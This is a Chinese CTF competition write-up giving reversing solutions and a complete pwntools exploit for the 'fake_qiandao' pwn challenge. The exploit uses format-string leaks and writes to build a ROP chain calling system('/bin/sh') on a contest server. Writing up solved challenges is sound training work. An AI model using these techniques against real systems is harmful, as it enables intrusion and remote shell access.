2020 NJUPT CTF - zstuCTF WriteUp

2020-11-21
#ctf #wp

Re

re1

逐字符加密然后比对,只要逐字符爆破即可

re1

exp:

#include<stdio.h>

char encrypt(char a1,char a2){
    char v2 = (~a2 | ~a1) & (~a2 | a1) & (a2 | a1) | (~a2 | ~a1) & (a2 | ~a1) & a2 & a1 | a2 & ~a1 | ~a2 & a1;
    return (~(32 * v2) | ~(v2 >> 3)) & (~(32 * v2) | (v2 >> 3)) & (32 * v2 | (v2 >> 3)) | (~(32 * v2) | ~(v2 >> 3)) & (32 * v2 | ~(v2 >> 3)) & (32 * v2 | (v2 >> 3));
}

int main(){
    char*nctf="nctf";
    char flag[] = {
        0xC6, 0x6A, 0xC0, 0x27, 0xEB, 0xCA, 0x65, 0x02, 0x61, 0xCA, 
        0x68, 0x27, 0x6B, 0xE2, 0xC0, 0xE0, 0x00, 0x80, 0x22, 0x27, 
        0xE1, 0xA1, 0x02, 0x27, 0x63, 0x4B, 0xA8, 0xE3
    };
    printf("NCTF{");
    for(int i=0;i<28;i++){
        char j=0;
        do{
            if(encrypt(j,nctf[i%4])==flag[i]){
                printf("%c",j);
                break;
            }
            j++;
        }while(j>0);
    }
    printf("}\n");
    return 0;
}

flag:NCTF{X0r_15_ve57_5trange_and_u91y}

re2

base64+xor,有手就行

re2

exp:

exp

re3

这题一堆反调,还有一个fake flag,太恶心了。反调手动patch后,找到两个关键函数。

re3

通过左边的函数可以通过解方程算出来flag的下标为3,10,15的字符。然后通过自修改生成的函数开始是push ebp;mov ebp,esp,即55 8B EC可以计算出前三个字符,现在可以得到flag为cp1@xxxxxx_xxxx-xxxxxxxx

通过分析可以得出自修改得到的函数是AES_ECB加密,key是nctf2020x1c66666。对ps2加密。

然后再通过ec1,ec2对ps2和ps3进行逐位异或,异或的内容是固定的,可以用测试数据计算出来。

将v1进行对应异或,再AES_ECB解密,填入对应位置,得到flag:cp1@plus1s_v2ey-veryha36

Pwn

fake_qiandao

先来一个思维导图:

fake_qiandao

函数介绍:

利用思路:

  1. 泄露栈地址、程序地址、libc地址
  2. 任意地址写布局栈 pop rdi -> bin_sh_addr -> system_addr -> '/bin/sh'
  3. 修改函数返回地址,进入布局的栈中,get shell

exp:

from pwn import *
from LibcSearcher import *
import base64

DEBUG=False
if DEBUG:
    sh=process('./main')
else:
    sh=connect("42.192.180.50",25004)

class MyBase64:
    STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    def __init__(self, alphabet=None):
        if alphabet == None:
            alphabet = MyBase64.STANDARD_ALPHABET
        if len(alphabet) != len(MyBase64.STANDARD_ALPHABET):
            raise RuntimeError('MyBase64 init error:alphabet len should equal 64')
        self.alphabet = alphabet

    def encode(self, data_to_encode):
        encoded = base64.b64encode(data_to_encode)
        return encoded.translate(str.maketrans(MyBase64.STANDARD_ALPHABET, self.alphabet))

    def decode(self, string_to_decode):
        encoded = string_to_decode.translate(str.maketrans(self.alphabet, MyBase64.STANDARD_ALPHABET))
        return base64.b64decode(encoded)

b64=MyBase64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$")

def login(text):
    sh.sendlineafter('Command: ','1')
    sh.sendlineafter('Plz input the key',text)

def loginBase64(text):
    #对齐
    if len(text)%4==1:
        text+='mmm'
    elif len(text)%4==2:
        text+='mm'
    elif len(text)%4==3:
        text+='m'
    login(b64.decode(text))

def start(addr=0):
    sh.sendlineafter('Command: ',b'2a'+p64(addr))
    r=sh.recvline()
    if r==b'1. Login\n':
        return ''
    elif str(r,'utf-8').startswith('0x'):
        r=str(r,'utf-8')
        i_1=r.find('1.')
        i_m=r.find('m')
        if i_1==-1 and i_m==-1:
            return int(r[2:],base=16)
        elif i_1==-1:
            return int(r[2:i_m],base=16)
        elif i_m==-1:
            return int(r[2:i_1],base=16)
        else:
            return int(r[2:min(i_1,i_m)],base=16)
    else:
        return r 

def edit(target_addr,val):
    for i in range(8):
        len=(val>>(8*i))&0xff
        if len==0:
            text='a'*48+'%6$hhn'
        else:
            text='a'*48+'%'+str(len)+'c%6$hhn'
        loginBase64(text)
        login('rrrtql')
        start(target_addr+i)

def editStr(target,s):
    for i in range(len(s)):
        text='a'*48+'%'+str(ord(s[i]))+'c%6$hhn'
        loginBase64(text)
        login('rrrtql')
        start(target+i)
    loginBase64('a'*48+'%6$hhn')
    login('rrrtql')
    start(target+len(s))

#泄露地址
loginBase64('a'*48+'%p')
login('rrrtql')
got_stack_chk_fail_addr=start()+8056
pop_rdi_addr=got_stack_chk_fail_addr-0x3FA0+0x173b
pop_2_addr=pop_rdi_addr-0x173b+0x1734+4

# 栈地址
loginBase64('a'*48+'%8$p')
login('rrrtql')
stack_addr=start()-40

#libc
loginBase64('a'*48+'%13$p')
login('rrrtql')
libc_start_main_addr=start()
if DEBUG:
    libc_start_main_addr-=0xf2
else:
    libc_start_main_addr-=0xf3
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
system_addr=libc.dumpb('system')

bin_sh_addr=stack_addr+8*8
edit(stack_addr+8*5,pop_rdi_addr)
edit(stack_addr+8*6,bin_sh_addr)
edit(stack_addr+8*7,system_addr)
editStr(bin_sh_addr,'/bin/sh')

print(hex(pop_2_addr))

loginBase64('a'*48+'%'+str(pop_2_addr&0xffff)+'c%6$hn')
login('rrrtql')
sh.sendlineafter('Command: ',b'2a'+p64(stack_addr+8*2))

sh.interactive()

flag:NCTF{6EEC8679F86732CA7A38E63D3B37D35A}

Misc

有手就行。。。